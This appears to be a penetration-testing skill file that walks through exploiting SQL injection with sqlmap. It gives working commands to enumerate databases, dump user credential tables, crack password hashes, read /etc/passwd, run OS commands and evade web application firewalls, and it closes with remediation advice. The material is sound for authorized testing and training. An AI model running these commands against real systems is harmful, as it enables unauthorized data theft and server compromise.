mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-10 21:24:56 +03:00
240 lines
8.9 KiB
Markdown
240 lines
8.9 KiB
Markdown
---
|
|
name: exploiting-sql-injection-with-sqlmap
|
|
description: Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.
|
|
domain: cybersecurity
|
|
subdomain: web-application-security
|
|
tags: [penetration-testing, sql-injection, sqlmap, owasp, database-security, web-security]
|
|
version: "1.0"
|
|
author: mahipal
|
|
license: MIT
|
|
---
|
|
|
|
# Exploiting SQL Injection with sqlmap
|
|
|
|
## When to Use
|
|
|
|
- During authorized web application penetration testing engagements
|
|
- When manual testing reveals potential SQL injection points in parameters, headers, or cookies
|
|
- For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
|
|
- When you need to demonstrate the impact of SQL injection by extracting data from backend databases
|
|
- During CTF challenges involving SQL injection exploitation
|
|
|
|
## Prerequisites
|
|
|
|
- **Authorization**: Written penetration testing agreement (Rules of Engagement) for the target
|
|
- **sqlmap**: Install via `pip install sqlmap` or `apt install sqlmap` on Kali Linux
|
|
- **Python 3.6+**: Required runtime for sqlmap
|
|
- **Burp Suite** (optional): For capturing and replaying HTTP requests
|
|
- **Target access**: Network connectivity to the target web application
|
|
- **Browser with proxy**: Firefox with FoxyProxy for intercepting requests
|
|
|
|
## Workflow
|
|
|
|
### Step 1: Identify Potential Injection Points
|
|
|
|
Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.
|
|
|
|
```bash
|
|
# Start Burp Suite proxy and capture requests
|
|
# Look for parameters in URLs, POST bodies, cookies, and headers
|
|
# Example target URL with a suspected injectable parameter:
|
|
# https://target.example.com/products?id=1
|
|
|
|
# Test manually for basic SQL injection indicators
|
|
curl -k "https://target.example.com/products?id=1'"
|
|
# Look for SQL error messages like:
|
|
# - "You have an error in your SQL syntax"
|
|
# - "ORA-01756: quoted string not properly terminated"
|
|
# - "Microsoft SQL Native Client error"
|
|
```
|
|
|
|
### Step 2: Run sqlmap Basic Detection Scan
|
|
|
|
Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.
|
|
|
|
```bash
|
|
# Basic GET parameter test
|
|
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent
|
|
|
|
# For POST requests (save the request from Burp Suite to a file)
|
|
sqlmap -r request.txt --batch --random-agent
|
|
|
|
# Test specific parameter in a POST request
|
|
sqlmap -u "https://target.example.com/login" \
|
|
--data="username=admin&password=test" \
|
|
-p "username" --batch --random-agent
|
|
|
|
# Test with cookie-based injection
|
|
sqlmap -u "https://target.example.com/dashboard" \
|
|
--cookie="session=abc123; user_id=5" \
|
|
-p "user_id" --batch --random-agent
|
|
```
|
|
|
|
### Step 3: Enumerate Database Structure
|
|
|
|
Once injection is confirmed, enumerate databases, tables, and columns.
|
|
|
|
```bash
|
|
# List all databases
|
|
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent
|
|
|
|
# List tables in a specific database
|
|
sqlmap -u "https://target.example.com/products?id=1" \
|
|
-D target_db --tables --batch --random-agent
|
|
|
|
# List columns in a specific table
|
|
sqlmap -u "https://target.example.com/products?id=1" \
|
|
-D target_db -T users --columns --batch --random-agent
|
|
```
|
|
|
|
### Step 4: Extract Data from Target Tables
|
|
|
|
Dump the contents of sensitive tables to demonstrate impact.
|
|
|
|
```bash
|
|
# Dump specific columns from a table
|
|
sqlmap -u "https://target.example.com/products?id=1" \
|
|
-D target_db -T users -C "username,password,email" \
|
|
--dump --batch --random-agent
|
|
|
|
# Dump with row limit to avoid excessive data extraction
|
|
sqlmap -u "https://target.example.com/products?id=1" \
|
|
-D target_db -T users --dump --start=1 --stop=10 \
|
|
--batch --random-agent
|
|
|
|
# Attempt to crack password hashes automatically
|
|
sqlmap -u "https://target.example.com/products?id=1" \
|
|
-D target_db -T users -C "username,password" \
|
|
--dump --batch --passwords --random-agent
|
|
```
|
|
|
|
### Step 5: Test for Advanced Exploitation Vectors
|
|
|
|
Assess the full impact by testing OS-level access and file operations.
|
|
|
|
```bash
|
|
# Check current database user and privileges
|
|
sqlmap -u "https://target.example.com/products?id=1" \
|
|
--current-user --current-db --is-dba --batch --random-agent
|
|
|
|
# Attempt to read server files (if DBA privileges exist)
|
|
sqlmap -u "https://target.example.com/products?id=1" \
|
|
--file-read="/etc/passwd" --batch --random-agent
|
|
|
|
# Attempt OS command execution (MySQL with FILE privilege)
|
|
sqlmap -u "https://target.example.com/products?id=1" \
|
|
--os-cmd="whoami" --batch --random-agent
|
|
```
|
|
|
|
### Step 6: Use Tamper Scripts to Bypass WAF/Filters
|
|
|
|
When Web Application Firewalls or input filters block basic payloads, use tamper scripts.
|
|
|
|
```bash
|
|
# Common tamper scripts for WAF bypass
|
|
sqlmap -u "https://target.example.com/products?id=1" \
|
|
--tamper="space2comment,between,randomcase" \
|
|
--batch --random-agent
|
|
|
|
# For specific WAF bypass (e.g., ModSecurity)
|
|
sqlmap -u "https://target.example.com/products?id=1" \
|
|
--tamper="modsecurityversioned,modsecurityzeroversioned" \
|
|
--batch --random-agent
|
|
|
|
# List all available tamper scripts
|
|
sqlmap --list-tampers
|
|
```
|
|
|
|
### Step 7: Generate Report and Clean Up
|
|
|
|
Document findings and clean up any artifacts.
|
|
|
|
```bash
|
|
# sqlmap stores results in ~/.local/share/sqlmap/output/
|
|
# Review the target output directory
|
|
ls -la ~/.local/share/sqlmap/output/target.example.com/
|
|
|
|
# Export results with specific output directory
|
|
sqlmap -u "https://target.example.com/products?id=1" \
|
|
-D target_db -T users --dump \
|
|
--output-dir="/tmp/pentest-results" \
|
|
--batch --random-agent
|
|
|
|
# Clean sqlmap session data after engagement
|
|
sqlmap --purge
|
|
```
|
|
|
|
## Key Concepts
|
|
|
|
| Concept | Description |
|
|
|---------|-------------|
|
|
| **Union-based SQLi** | Uses UNION SELECT to append attacker query results to the original query output |
|
|
| **Blind Boolean SQLi** | Infers data one bit at a time by observing true/false application responses |
|
|
| **Blind Time-based SQLi** | Uses database sleep functions (e.g., `SLEEP(5)`) to infer data based on response delays |
|
|
| **Error-based SQLi** | Extracts data through verbose database error messages returned in HTTP responses |
|
|
| **Stacked Queries** | Executes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations |
|
|
| **Out-of-band SQLi** | Exfiltrates data via DNS or HTTP requests initiated by the database server |
|
|
| **Tamper Scripts** | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters |
|
|
| **Second-order SQLi** | Injected payload is stored and executed later in a different query context |
|
|
|
|
## Tools & Systems
|
|
|
|
| Tool | Purpose |
|
|
|------|---------|
|
|
| **sqlmap** | Automated SQL injection detection and exploitation framework |
|
|
| **Burp Suite Professional** | HTTP proxy for intercepting, modifying, and replaying requests |
|
|
| **OWASP ZAP** | Free alternative to Burp for web application scanning and proxying |
|
|
| **Havij** | Automated SQL injection tool with GUI (Windows) |
|
|
| **jSQL Injection** | Java-based GUI tool for SQL injection testing |
|
|
| **DBeaver/DataGrip** | Database clients for verifying extracted data structure |
|
|
|
|
## Common Scenarios
|
|
|
|
### Scenario 1: E-commerce Product Page SQLi
|
|
A product detail page uses `id` parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.
|
|
|
|
### Scenario 2: Login Form Bypass
|
|
A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.
|
|
|
|
### Scenario 3: Search Function with WAF Protection
|
|
A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like `space2comment` and `between` to encode payloads and bypass the filter rules.
|
|
|
|
### Scenario 4: Cookie-based Blind SQL Injection
|
|
A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.
|
|
|
|
## Output Format
|
|
|
|
```
|
|
## SQL Injection Finding
|
|
|
|
**Vulnerability**: SQL Injection (Union-based)
|
|
**Severity**: Critical (CVSS 9.8)
|
|
**Location**: GET parameter `id` at /products?id=1
|
|
**Database**: MySQL 8.0.32
|
|
**Impact**: Full database read access, 15,000 user records exposed
|
|
**OWASP Category**: A03:2021 - Injection
|
|
|
|
### Evidence
|
|
- Injection point: `id` parameter (GET)
|
|
- Technique: UNION query-based
|
|
- Backend DBMS: MySQL >= 5.0
|
|
- Current user: app_user@localhost
|
|
- DBA privileges: No
|
|
|
|
### Databases Enumerated
|
|
1. information_schema
|
|
2. target_app_db
|
|
3. mysql
|
|
|
|
### Sensitive Data Exposed
|
|
- Table: users (15,247 rows)
|
|
- Columns: id, username, email, password_hash, created_at
|
|
|
|
### Recommendation
|
|
1. Use parameterized queries (prepared statements) for all database interactions
|
|
2. Implement input validation with allowlists for expected data types
|
|
3. Apply least-privilege database permissions for the application user
|
|
4. Deploy a Web Application Firewall as defense-in-depth
|
|
5. Enable database query logging and monitoring for anomalous patterns
|
|
```
|